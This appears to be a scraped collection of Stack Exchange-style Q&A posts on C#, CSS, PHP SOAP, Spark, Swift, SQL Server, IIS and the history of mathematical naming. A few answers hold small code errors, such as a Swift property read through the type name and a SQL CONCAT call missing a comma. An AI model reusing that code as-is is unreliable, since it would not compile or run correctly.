    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines1;    //  48.0    -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines2;    //  90.0    -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines3;    //  132.0   -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines4;    //  174.0   -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines5;    //  216.0   -
    [S7String(S7StringType.S7String, 40)]
    public string Start_Lines_Lines6;    //  258.0   -
}

I personaly switched to the paid product IP S7 LINK .NET SDK from treager


text:
Q: -webkit-backface-visibility disrupts 's background rendering, only without cache If you want to check out the problem for yourself, go here. You'll need to disable cache if you want to see the bug more than once
I have a website that looks like this:

Or should look like this, and it manages to render fine pretty much every time, apart from the first time you load the page:

As it turns out, if you try to load the website without cache (i.e for the first time), the 's background gets cut off at the top, but a small patch appears around half of a particular element.
The element in question is an absolute element, placed behind it's parent element but adjusted with javascript to be in the exact same position and height. The class is called "blur", and the reason it does this is to blur everything behind the element but not the content of the same element it is in. It looks a little something like this:

The style associated with .blur:
.blur {
    position: absolute;
    z-index: -1;

    border-radius: 5px;
    background: url("mavericks.jpg");

    -webkit-filter: blur(5px);
    -webkit-backface-visibility: hidden;
}

Now if I comment out -webkit-backface-visibiltiy: hidden, the issue is immediately resolved. However, without hiding the backface the intro animation becomes incredibly sluggish, and moreover the background of the body isn't the backface part of the blur element, and shouldn't be hidden, as far as I am aware. What's even odder, is that even if the height or width of this element is set to 0, the rendering problem still remains.
I have a strong feeling that this is some sort of webkit bug, but if someone can help me find a workaround or find a substitute for -webkit-backface-visibility, I would appreciate it greatly, as without it the animations look like crap. Feel free to poke around the source of the website. Tested in Chrome 27.0.1453.116 and Safari 7.0


text:
Q: Performing Logistic Regression with a large number of features? I have a dataset with 330 samples and 27 features for each sample, with a binary class problem for Logistic Regression.
According to the "rule if ten" I need at least 10 events for each feature to be included. Though, I have an imbalanced dataset, with 20% o positive class and 80% of negative class.
That gives me only 70 events, allowing approximately only 7/8 features to be included in the Logistic model.
I'd like to evaluate all the features as predictors, I don't want to hand pick any features.
So what would you suggest? Should I make all possible 7 features combinations? Should I evaluate each feature alone with an association model and then pick only the best ones for a final model?
I'm also curious about the handling of categorical and continuous features, can I mix them? If I have a categorical [0-1] and a continuous [0-100], should I normalize?

A: Your best choice would be to use L1 regularized logistic regression (aka Lasso regression). In case you're not familiar with it, the algorithm automatically selects some of the features by penalizing those that do not lead to increased accuracy (in layman terms).
You can increase/decrease this regularization strength (it's just a parameter) till your model achieved the highest accuracy (or some other metric) on a test set or in a cross-validation procedure.


text:
Q: Php Rejected by policy. (from client) I am using Soap client service and I am having an error that says -  Rejected by policy. (from client). Even I have included pem file properly. In pem file, I have added private key and certification key in below format, which is perfect that I believes.
Please help me to fix the error - Rejected by policy. (from client)
-----BEGIN RSA PRIVATE KEY----- and -----END RSA PRIVATE KEY----- show a private key in PEM format.
-----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- show a certificate file in PEM format.

Below is my code:
<?php
    $path_to_wsdl = "https://webservicesgatewaytest.sprint.com:444/rtb2/services/wireless/account/ContactPreferenceManagementService/v1?wsdl";
    ini_set("soap.wsdl_cache_enabled", "0");

   $local_cert = "trocglobal-01-pub.pem";

   $client = new SoapClient($path_to_wsdl, array('local_cert'=> $local_cert,'trace' => 1,'encoding' => 'UTF-8')); // Refer to http://us3.php.net/manual/en/ref.soap.php for more information

   $headerBody['trackingMessageHeader'] = array(
    'applicationId'=>'ENGE',
    'applicationUserId' => 'ENGE',
    'consumerId' => 'engage',
    'messageId' => rand(100000,500000),
    'timeToLive' => 600,
    'messageDateTimeStamp' => date("c")
 );

    $request = array(
    'globalPreferenceList' => array(
    'globalPreferenceInfo' => array(
        'contactType'=>'Phone',
        'certifyRuleName' => 'SPRCFT01',
        'contactTypeValueInfo' => array('mdn' => '7600763938'),
        'campaignName' => 'SPRINT'
        )
      )
    );

    try {
        $header = new SoapHeader('http://integration.sprint.com/eai/services/ContactPreferenceManagementService/v1/ContactPreferenceManagementService.wsdl',
        'wsMessageHeader', // header name
        $headerBody);

        $client->__setSoapHeaders($header);

     try {
         //$response = $client->queryContactGlobalPreferences($request);  // Soap web service invocation
         $response = $client->__soapCall('QueryContactGlobalPreferences',array($request));  // Soap web service invocation

         echo "<pre>";print_r($response);exit;

    }
    catch (Exception $e)
    {
        echo 'Caught exception: ',  $e->getMessage(), "\n";
    }

if ($response->HighestSeverity != 'FAILURE' && $response->HighestSeverity != 'ERROR'){
    printSuccess($client, $response);

    //fwrite($fp, $response->CompletedShipmentDetail->CompletedPackageDetails->Label->Parts->Image); //Create PNG or PDF file
}else{
    printError($client, $response);
}

writeToLog($client);    // Write to log file
} catch (SoapFault $exception) {
printFault($exception, $client);
}

?>

A: Seems like you installed sprint certificate in wrong way.
Download your certificate and install it:
Inside TOOLKIT_HOME:
a. Run Sprint-CertGen.bat on Windows
Or
b. Run Sprint-CertGen.sh on Unix
Also check if your firewall won't block sprint urls.
For security reasons I am not able to post URL's here


text: Q: How to enable jQuery, Bootstrap code assist in Spring tools Suite I want to know if there's any plugin or any sort of ways to add content assist/ auto complete for jQuery and Bootstrap codes when I'm writing it in STS4.


text:
Q: How can i show line separator sign in console? How can I print to console system sign for line separator like \n or \r;
I know that System.getProperty("line.separator") returns the line separator and it breaks the line but I'd like to show what sign it is. Like \n or \r.
I want console result to be:
line separator is: \n

I have this code:
System.out.println("Line separator: " + System.getProperty("line.separator"));

It Shows
Line separator:
and then breaks the line. I would like a function to show me a sign (\n or \r).

A: Simply replace returned line separators (\n or \r) with strings representing \ and n or r. To create \ character you need to escape it with another \ (since \ is special in String literals - it can be used for instance to create some special characters like tab \t, or characters using their hexadecimal form \uFFFF, or simply to escape itself).
System.out.println("Line separator: " + System.getProperty("line.separator")
                .replace("\r", "\\r")//replace `\r` literal with `\` and `r`
                .replace("\n", "\\n"));//same about `\n`

which in my case prints
Line separator: \r\n


text:
Q: Finding the interval convergence $\sum\frac{3k^2(x)^k}{e^k}$ How would I find the interval of convergence for the following power series
$\sum\frac{3k^2(x)^k}{e^k}$
I performed the ratio test.
$\frac{3(k+1)^2(x)^{k+1}}{e^k}$*$\frac{e^k}{3k^2x^k}$
$x\frac{1}{e}\frac{3(k+1)^2}{3k^2}$
$-1<\frac{1}{e}x<1$
$x=e$
$\sum\frac{e^k3k^2}{e^k}$
$\sum3k^2$ diverges as limit $k\rightarrow\infty$ does not equal zero.
$\sum\frac{(-e)^k3k^2}{e^k}$
$\frac{3k^2}{e^k}$
as limit is zero it converges.
Therefore interval convergence $[-e,e)$
would this be correct.

A: The interval of convergence should be $(-e, e)$, since there is divergence at $x = -e$, just as there is for $x = e$.
$$\sum \frac{(-e)^k3k^2}{e^k} = \sum \frac{(-1)^k e^k 3k^2}{e^k} = \sum (-1)^k 3k^2$$
which clearly diverges.


text:
Q: Hdfs delegation token can't be found in cache - error in Spark application I have simple Spark Streaming application in Spark version 2.3.0, which puts results of each processed batch on HDFS.
My application is running on YARN in deploy-mode client and I am using kerberized hadoop cluster (hadoop2.6.0-cdh5.9.3).
I have set --principal and --keytab in spark-submit command.
After a few days my application can't write on HDFS because of missing delegation token in cache.
After restart application, streaming works correctly, but after a few days fails again for the same reason.
This is log from driver:
ERROR JobScheduler: Error running job streaming job 1528366650000 ms.0
org.apache.hadoop.ipc.RemoteException(org.apache.hadoop.security.token.SecretManager$InvalidToken): token (token for spark_online: HDFS_DELEGATION_TOKEN owner=spark@DCWP, renewer=yarn, realUser=, issueDate=1528232733578, maxDate=1528837533578, sequenceNumber=14567778, masterKeyId=1397) can't be found in cache

Problem can be solved when I add to app configuration spark.hadoop.fs.hdfs.impl.disable.cache=true but disabling cache has big impact on processing performance.
If anyone could help me, I would really appreciate!

A: It is likely that your kerberos ticket will need to get refreshed (which is why it will work when you restart it).
Lifetime of Kerberos tickets has a pretty decent walkthrough on the two settings in particular that you'll have to look at.

*

*Option1: Setting the lifetimes to a more lengthy time

*Option2: Have a second process that will just kinit in the background whenever you need it to

I prefer Option1 and use 30 days or so. It has been a nice way to keep track of 'when was the last time I restarted that service'.


text:
Q: Translation of Subject field on Task Object I have multi-language environment and I am having trouble regarding the translation of Subject picklist values. It looks like translation of subject field is provided only when inserting task via user interface. After task inserted it is not possible to retrieve translated value although picklist values are translated via translation workbench. Tasks created via Apex also do not follow translation rules for subject field.
Can anyone able to find a workaround for this issue?

A: Subject is something called a Combobox, which is really just a fancy way of saying it's a text field with a set of predefined options you can select from. Since it's really a text box, no translation of the value is possible after selection, because the user could modify it to something that doesn't have a translation. For Apex Code, you should be able to iterate through the getPicklistValues() for the field's describe, which would give you the native language value and the translated language value, which you could then use to deduce if there's a valid translation value.
Map<String, String> translationMap = new Map<String, String>();
for(PicklistEntry entry: SObjectType.Task.fields.Subject.getPicklistValues()) {
  translationMap.put(entry.getLabel(), entry.getValue());
}
// Hypothetical use case
for(Task record: Trigger.new) {
  record.English_Subject__c = translationMap.get(record.Subject);
}


text:
Q: Union in C++ used in the context of Bison Referring to this blog post
There is a union defined as below:
%union {
    Node *node;
    NBlock *block;
    NExpression *expr;
    NStatement *stmt;
    NIdentifier *ident;
    NVariableDeclaration *var_decl;
    std::vector<NVariableDeclaration*> *varvec;
    std::vector<NExpression*> *exprvec;
    std::string *string;
    int token;
}

My question is: How could this union be used when it is anonymous and how was it actually used?

A: Don't confuse bison's %union directive with the C/C++ syntax.
In the code generated by bison, there will be a C/C++ union, whose body is copied from the %union directive, but it is certainly not anonymous: its name is YYSTYPE. However, you hardly ever need to know that, since the only exposed variable with that type is yylval. (The internal bison stack is also composed of elements of type YYSTYPE but it is not exposed to user code.)
There are various other possible ways to define YYSTYPE, as described by the bison manual. For example, you can create your own C/C++ union (or struct) type, as described here. However, these advanced bison features are rarely required.


text:
Q: Static Member cannot be used on instance of type error when accessing sub classes I am 100% sure this has been answered but the answers I am finding I cannot seem to make fit into my solution.  I have the following code a playground.
import Foundation

public class AuthenticationInfo
{
public class RootObject
{
    var resultParameters: ResultParameters = ResultParameters()

}

public class ResultParameters
{
    var adminInfo: AdminInfo = AdminInfo()
    var ServerBuildNumber: Int = -1
    var ServerIs64Bit: Bool = false
    var ServerOSPlatform: Int = -1
    var ServerStartTime: Int64 = -1
    var ServerVersion: String = ""
    var EnableLiveDataUpdates: Bool = false
    var DelayLiveDataUpdates: String = ""
    var SessionTimeout: Int = 0;
    var ServerName: String = ""
    var ServerPort: Int = -1
    var UserName: String = ""
    var WebAPIVersion: String = ""
    var Locale: String = ""
}

public class AdminInfo
{
    var AdminUUID: String = ""
    var AllowChangeAgentClientInfoSettings: Int = -1
    var AllowChangeAgentCustomFieldSettings: Int = -1
    var AllowChangeAgentGeneralSettings: Int = -1
    var AllowChangeAgentServerSettings: Int = -1
    var AllowChangeComputerTracking: Int = -1
    var AllowChangeComputerTrackingScreenshot: Int = -1
    var AllowChangeCustomFields: Int = -1
    var AllowChangeHistoryOptions: Int = -1
    var AllowChangeMobileDeviceTracking: Int = -1
    var AllowEnterCustomFieldData: Int = -1
    var AllowManageDeviceUsers: Int = -1
    var AllowManageiOSDevices: Int = -1
    var AllowMobileRemoteControl: Int = -1
    var AllowModifyADEPAccount: Int = -1
    var AllowModifyBookstoreBooks: Int = -1
    var AllowModifyMDMDeviceEnrollmentProfiles: Int = -1
    var AllowModifyMobileActions: Int = -1
    var AllowModifyMobileMedia: Int = -1
    var AllowModifySDConfigProfiles: Int = -1
    var AllowModifySDGroups: Int = -1
    var AllowModifySDImages: Int = -1
    var AllowModifySDPackages: Int = -1
    var AllowModifySLPackages: Int = -1
    var AllowModifySamsungLicenses: Int = -1
    var AllowModifyStagingServers: Int = -1
    var AllowModifyVPPAccount: Int = -1
    var AllowModifyiOSApplications: Int = -1
    var AllowModifyiOSConfigurationProfiles: Int = -1
    var AllowModifyiOSPolicies: Int = -1
    var AllowRemoteControl: Int = -1
    var AllowRemoveCommandsFromHistory: Int = -1
    var AllowRemoveComputerRecords: Int = -1
    var AllowRemoveInventoryData: Int = -1
    var AllowRemoveLicenseReports: Int = -1
    var AllowRemoveSDLogEntry: Int = -1
    var AllowRemoveiOSDeviceRecords: Int = -1
    var AllowRemoveiOSHistoryCommands: Int = -1
    var AllowResetSDPackges: Int = -1
    var AllowRetrySDPackges: Int = -1
    var AllowVPPLicenseManagement: Int = -1
    var AllowViewAdminCenter: Int = -1
    var AllowViewCommandsWindow: Int = -1
    var AllowViewComputerTrackingData: Int = -1
    var AllowViewComputerTrackingScreenshot: Int = -1
    var AllowViewCustomFields: Int = -1
    var AllowViewMobileDeviceTrackingData: Int = -1
    var AllowViewSDCenter: Int = -1
    var AllowViewSLCenter: Int = -1
    var AllowViewServerStatus: Int = -1
    var CanChangeServerSettings: Int = -1
    var CanDeployAgents: Int = -1
    var CanLogin: Int = -1
    var CanSeeAllRecords: Int = -1
    var CommandPermissions: Int64 = -1
    var CommandPermissions2: Int = -1
    var IsADUser: Int = -1
    var IsSuperAdmin: Int = -1
    var id: Int = -1
    var CommandPermissionsLow32: Int64 = -1
    var CommandPermissionsHigh32: Int = -1
}

}

var lobj_AuthenticationInfo: AuthenticationInfo
var lobj_AuthenticationInfo_RootObject: AuthenticationInfo.RootObject

lobj_AuthenticationInfo = AuthenticationInfo()
lobj_AuthenticationInfo_RootObject = lobj_AuthenticationInfo.RootObject

On the last line I am getting the following error:
Static member RootObject cannot be used on instance of type AuthenticationInfo.
MORE INFO:
These classes were created by a code generator based on JSON data that will be returned from a web api I call.  Thus, I believe the structure of these objects needs to stay intact so when I use EVRefelction to load the data into the class, the structure matches exactly the data.
Can someone please assist me in getting this to work?

A: Unlike Java, in swift, all inner classes are implicitly static. For example:
public class Outer {
    public class Inner {

    }
}

When you want to create an object of type Inner, you don't need to create an object of type Outer first. You can just do this:
let x = Outer.Inner()

And because inner classes are static, they cannot be accessed with an instance of the outer class:
let x = Outer()
let y = x.Inner //Wrong!

I think what you want to do here is to have the RootObject non-static so that it can be accessed from an instance of AuthenticationInfo. This cannot be done directly. You should create an instance of RootObject in your AuthenticationInfo class:
public class AuthenticationInfo {
    public class RootObject {
         //blah blah blah
    }
    // Other inner classes goes here
    var rootObj = RootObject()
}

Now you can create an instance of AuthenticationInfo and access the rootObj stored in the Authentication Info:
var x = AuthenticationInfo()
var y = AuthenticationInfo.rootObj

From your style of coding, I guess you were a Java programmer. You write all the types of variables explicitly. But in swift, this is seldomly used.


text:
Q: how to set time out for sql query transaction in java application how to set time out for sql query transaction in java application which uses SpringJDBC or Hibernate.
Say in banking application we need to execute query in stipulated time (3 secs)

A: You can try
JdbcTemplate template = new JdbcTemplate(dataSource);
template.setQueryTimeout(3);


text:
Q: how can i display just a calendar on the screen i have been browsing for the last 4 hours and found out that i have to create a calendarview in my xml and instantiate it in my java file. but i can't really understadn how to display the actual calendar itself on the screen.
my xml file
  <CalendarView
        android:id="@+id/calen"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"/>

java file
 package org.example.calender;

import java.util.Calendar;
import android.app.Activity;
import android.os.Bundle;

public class CalenderActivity extends Activity {
    Calendar calender;
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);

        calender = (Calendar)findViewById(R.id.calen);
    }
}

Additionally, it s giving error on "CALEN" however my id of calendarview is "CALEN" as well..
any help, tips and guidance would be appreciated.

A: I think it's as simple as changing:
calender = (Calendar)findViewById(R.id.calen);

to:
CalendarView calender = (CalendarView) findViewById(R.id.calen);

A:  package org.example.calender;

import java.util.Calendar;
import android.app.Activity;
import android.os.Bundle;

public class CalenderActivity extends Activity {
    CalendarView calender;
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);

        calender = (CalendarView)findViewById(R.id.calen);
    }
}

A: simply try this code:::
package org.example.calender;

import java.util.Calendar;
import android.app.Activity;
import android.os.Bundle;

public class CalenderActivity extends Activity {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(new CalenderView(this));
    }
}


text:
Q: Specify a relative path as infile for a .ctl I can't seem to find a way to specify a relative path for my infile when using sql loader.
I'm running it through a command line and this is what it looks like:
C:\app\...in\sqlldr.exe userid=user/pass
control="C:\User...DATA_DATA_TABLE.ctl" log="C:\User...DATA_DATA_TABLE.log"
 bad = "C:\User...DATA_DATA_TABLE.bad" discard = "C:\User...DATA_DATA_TABLE.dsc"

(I've added carriage returns just for the readability on here, the command i use is one line)
And this works, it's will start inserting stuff in the table IF the path to my infile in .ctl is absolute like "C:\Usertemp\example.ldr"
My ctl was generated autmatically by sqldeveloper. And i just changed the path to this:
OPTIONS (ERRORS=50)
LOAD DATA
INFILE 'AI_SLA_DATA_DATA_TABLE.ldr' "str '{EOL}'" <-- i'm trying to get relative path here but doesn't work
APPEND
CONTINUEIF NEXT(1:1) = '#'
INTO TABLE "USER"."DATA"
...other sqldeveloper generated stuff

The .ldr file is in the same directory as the .ctl file. Is it possible to get the path of the ctl? I'm pretty sure he searches for the .ldr file next to the sqlldr.exe instead of the ctl.
Any tips to do this? I can't find answers on docs.oracle.
Thanks.

A: I've never tried adding a relative path to the .ctl file, but for me it works fine as a command-line argument, e.g.
C:\app\...in\sqlldr.exe userid=user/pass
control="DATA_DATA_TABLE.ctl" log="DATA_DATA_TABLE.log"
 bad = "DATA_DATA_TABLE.bad" discard ="DATA_DATA_TABLE.dsc"
data="AI_SLA_DATA_DATA_TABLE.ldr"


text:
Q: SQL Server dynamic SQL size exceed 4000 chars In SQL Server I have dynamic sql query, but the size of the query is higher than 4000 chars.
Like in this post SQL Server 2012: dynamic SQL limitation ( > 4000 chars) (split) there is no problem to manage with this issue.
But the problem is when I want to join string with variable.
For example, this works ok:
DECLARE @sqlQuery NVARCHAR(MAX);
DECLARE @sqlQueryWhere NVARCHAR(MAX);

SET @sqlQuery =
    CONVERT(nvarchar(max),'SELECT
 .... '
EXECUTE sp_executesql @sqlQuery

But this sample doesn't work:
 DECLARE @sqlQuery NVARCHAR(MAX);
 DECLARE @sqlQueryWhere NVARCHAR(MAX);

SET @sqlQueryWhere = CONVERT(nvarchar(max),' 1 = 1 ' )

SET @sqlQuery =
        CONVERT(nvarchar(max),'SELECT
     .... ' + @sqlQueryWhere + ' group by ... '
EXECUTE sp_executesql @sqlQuery

A: Your sample is wrong because you are converting after concatenation
Your concatenation is a series of short string that can't go above 4000 characters. That is. using + won't magically make the string more than 4000 characters
I described it in my answer here
This will work:
DECLARE @sqlQuery NVARCHAR(MAX);
DECLARE @sqlQueryWhere NVARCHAR(MAX);
DECLARE @sqlQueryBase NVARCHAR(MAX);
DECLARE @sqlQueryGroupyBy NVARCHAR(MAX);

SET @sqlQueryWhere = N' 1 = 1 ' --already NVARCHAR(MAX)
SET @sqlQueryBase = N'SELECT
     .... '
SET @sqlQueryGroupyBy = N' group by ... '

SET @sqlQuery = CONCAT(@sqlQueryBase, @sqlQueryWhere @sqlQueryGroupyBy)

EXECUTE sp_executesql @sqlQuery

A: 4000 characters is 4000 characters.  If I were breaking that limit, I'd look to aliasing the tables, creating views, or seeing if you can use some inline tables to help a bit.


text:
Q: Proxies object instead of Entity in Doctrine I'm using Doctrine and Symfony and I faced with one problem. Instead of AppBundle\Entity\Item I got `Proxies__CG__\AppBundle\Entity\Item. with all data = null.
$test = $em->getRepository(Entity\Item::class)->find(159);
var_dump($test); exit;

What should I change?
object(Proxies\__CG__\AppBundle\Entity\Item)[5348]
  public '__initializer__' =>
    object(Closure)[5237]
  public '__cloner__' =>
    object(Closure)[5802]
  public '__isInitialized__' => boolean false
  private 'id' (AppBundle\Entity\Item) => int 159
  private 'name' (AppBundle\Entity\Item) => null
  private 'slug' (AppBundle\Entity\Item) => null
  private 'description' (AppBundle\Entity\Item) => null
  private 'price' (AppBundle\Entity\Item) => null
  private 'isFixedPrice' (AppBundle\Entity\Item) => null
  private 'isExchangable' (AppBundle\Entity\Item) => null
  private 'isDeliverable' (AppBundle\Entity\Item) => null
  private 'totalViewsCount' (AppBundle\Entity\Item) => null
  private 'condition' (AppBundle\Entity\Item) => null
  private 'soldAt' (AppBundle\Entity\Item) => null
  private 'category' (AppBundle\Entity\Item) => null
  private 'user' (AppBundle\Entity\Item) => null
  private 'attributes' (AppBundle\Entity\Item) => null
  private 'pics' (AppBundle\Entity\Item) => null
  protected 'createdAt' => null
  protected 'updatedAt' => null
  protected 'deletedAt' => null

I have to get $test->getItem()->getSlug(). In the database Item with this id exists.

A: I found the solution. The previous dev  used @Gedmo\SoftDeleteable(fieldName="deletedAt", timeAware=true)
so some rows have deleted_at value in the database. That's a way they didn't return any data.


text:
Q: want to get username from SC.get() function of soundcloud api i want to get the the username of the soundcloud after he succesfully get connected to the soundcloud...i am able to get connected but not getting the username of soundcloud user

<input type="image" src="images/larger-connect-with-sc.png" id="connect" />

Logged in as:

A: Everything looks okay to me. Here's some trimmed down, but complete source code that you can use to compare against:
<!doctype html>

  <title>Example Two</title>

    <input type="image" src="images/larger-connect-with-sc.png" id="connect" />

      Logged in as:

You can see a working example here.
Let me know if that works.

A:  This popup should automatically close in a few seconds


text:
Q: How to store Arabic in SQL server? I am trying to store Arabic-strings in my database. it is working fine by using COLLATE Arabic_CI_AI_KS_WS but some of Arabic records are missing some Arabic-alphabets. i have tried    with some other sollate with but result as same. how to fix it ?
table structure :
CREATE TABLE [dbo].[Ayyat_Translation_Language_old_20131209] (
    [Ayat_Translation_Language_ID] INT            IDENTITY (1, 1) NOT NULL,
    [Translation_Laanguage_ID]     INT            NULL,
    [Juz_ID]                       INT            NULL,
    [Surah_ID]                     INT            NOT NULL,
    [Ayat_Description]             VARCHAR (2000) COLLATE Arabic_CI_AI_KS_WS NOT NULL
)

insertion code :
 string query = "insert into Ayyat_Translation_Language_old_20131209 values(null,null," + surah + ",N'" + verse + "')"; where verse contains Arabic contents.

and it stores data like this (with question-marks) :
?بِسْمِ اللَّهِ الرَّحْمَ?نِ الرَّحِيمِ

i have read that link : store arabic in SQL database

A: To store unicode string data, use NVARCHAR(2000) rather than VARCHAR(2000) for column [Ayat_Description]
Ref.: nchar and nvarchar

A: All of what you have to do is to make sure that
the column Data type is nvarchar()

after that I inserted Arabic with no problems even with Tashkeel

this in SQl server management studio 2012

A: It may help
CREATE TABLE [dbo].[Ayyat_Translation_Language_old_20131209] (
    [Ayat_Translation_Language_ID] INT            IDENTITY (1, 1) NOT NULL,
    [Translation_Laanguage_ID]     INT            NULL,
    [Juz_ID]                       INT            NULL,
    [Surah_ID]                     INT            NOT NULL,
    [Ayat_Description]             NVARCHAR (2000) COLLATE Arabic_CI_AI_KS_WS NOT NULL

A: use arabic collation or use unicode(nvarchar(max))
This is a Example table For your answer :
CREATE TABLE #t11
        (

        column1 NVARCHAR(100)

        )
        INSERT INTO #t11 VALUES(N'لا أتكلم العربية')

        SELECT * FROM #t11

fiddle demo


text:
Q: Why am I receiving a blank authentication header from IIS for this request? In my organization (standard windows with domain/Active Directory environment) we have a vendor application that uses IIS 7.5 with several IIS applications under a single website.  To use the API for this product, an installation executable is run that adds an additional IIS application as part of the single website.  The installation offers basicHttp or Windows authentication, and I've chosen Windows.
I'm now following their instructions to use the API (the C# version of the Get a Name sample): http://www.documentation.newdawn.com/api/
I've created a C# console app in Windows Visual Studio 2012 and used the Add Service Reference menu item to consume the service URL and create the client classes.
My only change to the code in the URL is to use windows authentication instead of their BasicHttp example:
using JustWareAPIClientConsoleApp.JustWareAPI;

namespace JustWareAPIClientConsoleApp
{
class Program
{
    static void Main(string[] args)
    {
        JustWareApiClient client = new JustWareApiClient();

        client.ClientCredentials.Windows.ClientCredential.Domain = "<domain>";
        client.ClientCredentials.Windows.ClientCredential.UserName = "<username>";
        client.ClientCredentials.Windows.ClientCredential.Password = "<password>";

        Name n = client.GetName(123, null);

        Console.WriteLine("Name: " + n.Last + "," + n.First);

        client.Close();

        Console.ReadLine();
    }
}
}

I've made no changes to the App.config file:
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <startup>
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
    </startup>
    <system.serviceModel>
        <bindings>
            <basicHttpBinding>
                <binding name="JustWareApi" messageEncoding="Mtom">
                    <security mode="Transport">
                        <transport clientCredentialType="Windows" />
                    </security>
                </binding>
            </basicHttpBinding>
        </bindings>
        <client>
            <endpoint address="https://<server>/JustWareAPI/JustWareApi.svc"
                binding="basicHttpBinding" bindingConfiguration="JustWareApi"
                contract="JustWareAPI.IJustWareApi" name="JustWareApi" />
        </client>
    </system.serviceModel>
</configuration>

When I run the client sample I get the following error when it reaches the GetName method call:
The HTTP request is unauthorized with client authentication scheme 'Negotiate'. The authentication header received from the server was ''.

Based on my choice during the API install of windows authentication, I was expecting a response header of something like 'NTLM,Negotiate', not a blank/null value.
Unfortunately I don't know IIS well, but my gut is telling me there is some setting at the site or application level that the API install didn't set correctly, and I'm not getting back a valid authentication header.  Can anyone tell me why this header would come back like this?
Thanks.

A: After getting pointed in the right direction by Alberto, I found that Windows Authentication wasn't "installed" for IIS.  Directions for that here:
http://weblogs.asp.net/zroiy/archive/2008/08/17/missing-windows-authentication-provider-for-iis-7-on-windows-server-2008.aspx
Then it must be enabled:
http://technet.microsoft.com/en-us/library/cc754628%28v=ws.10%29.aspx
After these steps I am no longer getting the IIS authentication error.


text:
Q: What are examples of mathematical concepts named after the wrong people? (Stigler's law) It's a common observation in Lie theory that Cartan matrices and the Killing form are named after the wrong people; they were discovered by Killing and Cartan, respectively.  I remember learning about many other examples of this phenomenon, but can't think of too many at the moment.  Wikipedia has some examples here and here, but I'm curious about more obscure examples.
Bonus points for an interesting story behind why the concept was incorrectly named.  Concepts that were deliberately named in honor of another mathematician don't count.

A: Currying should, I believe, be referred to as Schönfinkeling.

A: In reference to exactly this phenomenon (and in particular to the case of Pell's equation),  Andre Weil once observed that "This has happened many times in mathematics.  For example, I live on von Neumann Circle.  I live there.  Yet still it is called von Neumann Circle".

A: I was once told that Riemann's integral is due to Darboux, while Lebesgue integral is due to Borel. Riemann invented the Cauchy integral instead.

A: Chow varieties were invented by Van der Waerden (Chow was his student). And Hilbert schemes were invented by Grothendieck (who called them Hilbert schemes himself, however).

A: Burnside's Lemma, which asserts that the number of orbits of a group action is the average number of fixed points, was known to Cauchy.  Burnside himself even attributed it to Frobenius in his book.

A: The Cayley numbers (also known as the Octonions) were discovered earlier by John T. Graves.  The story is nicely explained in John C. Baez's paper, The Octonions, Bull. Amer. Math. Soc. 39 (2002), 145-205.

A: Expanding on the example given in the original post, here's an excerpt from Borel's "Essays in the History of Lie Groups and Algebraic Groups" (p. 5):

It has been remarked that, as far as terminology is concerned, posterity has not been kind to [Killing]: Cartan subalgebras, Weyl groups, fundamental reflections, roots, and the Coxeter transformation first appeared in his papers in some form. On the other hand, what now goes by his name, the "Killing form" seems to be a misnomer, and it may well be that I am the culprit. Cartan, Chevalley and Weyl never used this terminology. Once, J.J. Duistermaat and J.A.C. Kolk pointed out to me that, to their knowledge, its first occurence is in a paper of mine (Sém. Bourbaki, Exp. 33, May 1951). I do not remember why I chose it, though I probably felt I was innovating, since it is between quotation marks. It is rather likely that discussions with some members of Bourbaki had influenced me, but I cannot blame it directly on Bourbaki, since "Killing form" appears in Bourbaki drafts only from 1952 on. It is true that Killing was the first to remark that the coefficients of the characteristic equation (of a regular semisimple element), i.e. the elementary symmetric functions of the roots, are invariant under the adjoint group, but he did not make much use of the remark and did not single out the sum of the squares of the roots, of which Élie Cartan made such fundamental use in his thesis (1894). It would be more correct to speak of the Cartan form.

A: Jones' Conjecture.  Jones does not even exist; it's a Western pseudonym of Chuan-Min Lee.

A: In honour of the recently departed Benoit Mandelbrot, perhaps it is appropriate to offer up the example of the Mandelbrot set, the first pictures of which were drawn in 1978 by Robert Brooks and Peter Matelski (according to Wikipedia).

A: To expand on Pasquale's comment, here's a quote from Arnold's article:

Similarly to the fact that America does not carry Columbus's name, mathematical results are almost never called by the names of their discoverers.
In order to avoid being misquoted, I have to note that my own achievements were for some unknown reason never expropriated in this way, although it always happened to both my teachers (Kolmogorov, Petrovskii, Pontryagin, Rokhlin) and my pupils. Prof. M. Berry once formulated the following two principles:
The Arnold Principle. If a notion bears a personal name, then this name is not the name of the discoverer.
The Berry Principle. The Arnold Principle is applicable to itself.

Perhaps somebody knows which results by Kolmogorov et. al. he is thinking of.

A: Quoting from Alan Sokal's 2005 paper on the multivariate Tutte polynomial:
"The Potts model was invented in the early 1950s by Potts' thesis advisor Domb. The $q = 2$ case, known as the Ising model, was invented in 1920 by Ising's thesis advisor Lenz. (I hasten to add that these are the only two cases I know of where the thesis advisor's invention was named after the graduate student, rather than the other way around.)"

A: Perhaps counterexamples to Stigler's/Arnol'ds law are actually the rare items.  The most significant one that I know is the Cartesian coordinate system which, strangely, seems to have actually been invented by Descartes!

A: And the Bianchi identities are due to Ricci (according to Levi-Civita).

A: *

*Cauchy–Riemann equations were known to d'Alembert and Euler.

*Two-dimensional Voronoi diagrams were used by Descartes, three-dimensional - by Dirichlet. Also should be noted, that this construction has several other names in physics: Wigner–Seitz cells, Thiessen polygons.

A: Banach algebras should probably be called Gelfand Algebras, or something similar.  I'm not sure of the history here, but presumably the "Banach" is attached because this is the study of "complete" normed algebras.  I don't believe that Banach actually did much work on algebras (as opposed to Banach spaces).

